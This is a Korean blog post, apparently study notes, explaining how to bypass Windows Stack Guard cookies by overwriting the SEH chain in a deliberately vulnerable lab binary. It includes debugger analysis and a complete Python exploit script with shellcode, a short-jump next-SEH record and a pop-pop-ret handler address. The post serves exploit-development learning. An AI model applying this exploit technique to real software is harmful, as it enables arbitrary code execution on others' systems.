본문 바로가기

IT/시스템 해킹(System Hacking)

[Windows System Hacking] Bypassing Stack Guard

[*] 해당 문서는 서적 [윈도우 시스템 해킹 가이드 - 버그헌팅과 익스플로잇]을 참고하여 작성하였습니다. 

 

Windows System Hacking 연구를 위해서 학습을 진행하며

여러가지 공격기법에 대하여 정리하려고 한다.

해당 문서는 Mitigation중 하나인 Stack Guard에 대한 우회방법(Bypassing)에 대해 기술한 문서이다.

 

[실습 바이너리 & 익스플로잇 코드]

Bypassing Stack Guard.zip
0.00MB

 


[ 실습 환경 ]

테스트 환경 : Windows 10 Pro 64bit

테스트 대상 : reader_seh.exe[Non ASLR, Non DEP, StackGuard, Non safeSEH]

테스트 도구 : OllyDBG110, IDA Pro 7.0

 

우선 테스트 환경은 Windows 10 Pro 64bit 버전 하에서 

보호기법(Mitigation) StackGuard가 적용된 바이너리를 익스플로잇(Exploit) 해보려고한다.

테스트 도구로는 다음과 같이 OllyDBG110을 이용하였다.

 

[ 바이너리 분석 ]

그림1. Stack Guard 적용 함수

 

해당 바이너리의 소스코드를 확인해보기 이전에 IDA를 이용해 분석해본 결과

다음과 같이 이전과는 없던 메소드를 찾아볼 수 있다.

 

그림2. Stack Guard Check

 

다음의 로직을 확인하면 메인 함수에 들어가기에 앞서서

0x403000에서 특정한 데이터를 가져와 EBP와 xor 연산을 한뒤 EBP-4에 로드하고 있다.

 

함수의 에필로그 부에서는 빨간색 부분에서 호출된 초록부분에서 EBP-4에서 데이터를 ECX에 로드한 후

다시 EBP와 xor 연산을 한뒤 0x403000에 로드된 데이터와 비교하는 것을 확인할 수 있다.

 

해당 결과가 동일하지 않다면 플래그를 설정한 뒤 프로세스를 종료하는 로직으로 이어진다.

 

결과적으로 이전의 방법으로 Return Address를 변조(Corruption)하는 것이 불가하다는 것이다.

 

이에 대한 우회기법(ByPass)로 두 가지를 제시할 수 있다.

 

1. Infomation Leak을 통한 스택가드의 값 확인

2. SEH Overwrite

 

첫 번째 제시한 방법의 경우는, 리눅스에서 카나리 릭(Canary Leak)이라는 기법으로 많이 사용되는 기술이다. 

하지만 이전 포스팅에서 제시한 것과 동일하게 만약 GUI 인터페이스를 통해서

아스키 코드를 범어나는 문자로 인코딩되어서 나올 경우 깨지는 경우가 있어 더 번거로운 방법이 필요할 것이다.

 

두 번째 제시한 방법의 경우는, 윈도우의 예외 처리 기법을 이용한 것이다.

윈도우에서는 예외가 발생할 경우 이를 처리하기 위해 컴파일러는 SEH 체인을 만들고 관리하게 된다.

 

하지만 이러한 체인이 스택에 위치한다는 것으로 인해 Stack Guard를 우회할 수 있다.

 

그림3. SEH 체인

 

다음과 같이 스택의 끝자락에 SEH 체인이 로드되어 있는 것을 확인할 수 있다.

 

결과적으로 SEH 체인을 Corrupt한 뒤 예외를 발생시키면 예외를 처리하기 위한 핸들러의 주소로 이동할 것이다.

 

그림4. Exception Handler Corruption

 

예외처리를 위한 핸들러(handler)의 주소를 이동했지만 핸들러가 오염(Corruption)되어 있기에

다음과 같이 EIP를 변조할 수 있다.

 

[ 바이너리 공격 ]

바이너리를 실제로 익스플로잇(exploit)하기 위해서는 몇가지 정보를 더 알아야 한다.

 

그림5. 예외처리 상황에 대한 스택

 

예외처리를 진행할 경우 스택 프레임이 새로 생성되어 있는 것을 알 수 있다.

ESP+8에는 다음 예외처리를 위한 next SEH의 pointer가 로드되는 장소이다. 

 

해당 부분 또한 Corruption이 가능하다.

 

결론 내리면 예외를 처리하기 위한 핸들러의 주소에 pop pop ret 가젯의 주소를 넣으면 

다음 예외처리를 위한 주소로 Return 할 것이다. 

 

해당 주소에 쉘코드로 점프하는 명령어 opcode를 넣어주면 되는 것이다.

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
print "[+] Creat text file..."
 
SHELLCODE  = "\x31\xd2\xb2\x30\x64\x8b\x12\x8b\x52\x0c\x8b\x52\x1c\x8b\x42"
SHELLCODE += "\x08\x8b\x72\x20\x8b\x12\x80\x7e\x0c\x33\x75\xf2\x89\xc7\x03"
SHELLCODE += "\x78\x3c\x8b\x57\x78\x01\xc2\x8b\x7a\x20\x01\xc7\x31\xed\x8b"
SHELLCODE += "\x34\xaf\x01\xc6\x45\x81\x3e\x46\x61\x74\x61\x75\xf2\x81\x7e"
SHELLCODE += "\x08\x45\x78\x69\x74\x75\xe9\x8b\x7a\x24\x01\xc7\x66\x8b\x2c"
SHELLCODE += "\x6f\x8b\x7a\x1c\x01\xc7\x8b\x7c\xaf\xfc\x01\xc7\x68\x41\x45"
SHELLCODE += "\x21\x01\x68\x47\x41\x45\x47\x68\x20\x47\x41\x45\x89\xe1\xfe"
SHELLCODE += "\x49\x0b\x31\xc0\x51\x50\xff\xd7"
 
 
contents = "A"*500
contents += "B"*4                                         # Stack Cookie
contents += "C"*4                                         # SFP
contents += "D"*4                                         # RET
contents += "\x90"*44                                     # DUMMY
contents += "\xeb\x06\x90\x90"                            # Pointer to next SEH record
contents += "\x46\x12\x40\x00"                            # SE handler
contents += "\x90"*(140-len(SHELLCODE)) + SHELLCODE       # DUMMY
contents += "\x90"*12                                     # 11 vs 12
 
= open("test.txt","w")
f.write(contents)
f.close()
 
 

 

그림6. Exploit!

 

 


[고찰]

이번 문서에서는 한계점보다는 의문점과 고민했던 점을 작성하려고 한다.

첫 번째, StackGuard가 Corruption 되었다고 해서 예외가 발생하는 것이 아니라 예외를 직접 발생시켜야 한다.

 

해당 부분에서 이해를 잘못하여 핸들러까지도 변조하였음에도 EIP가 control되지 않아서 고민하였다.

예외를 트리거하기 위해서는 스택의 끝까지 데이터를 작성해야 예외가 발생한다는 것이다.

 

한 바이트라도 부족하면 예외가 발생하지 않는다.

 

그렇다면 만약 입력 길이가 제한되어 있어 스택의 마지막까지 데이터를 입력할 수 없는 경우

Return Address를 변조할 수 있음에도 Stack Guard 체크 루틴에 의해서 프로그램이 종료될 것이다.

 

다른 방법으로 EIP를 Control 하거나 Stack Guard를 결국 Leak해야할 것 이라는 판단을 내렸다.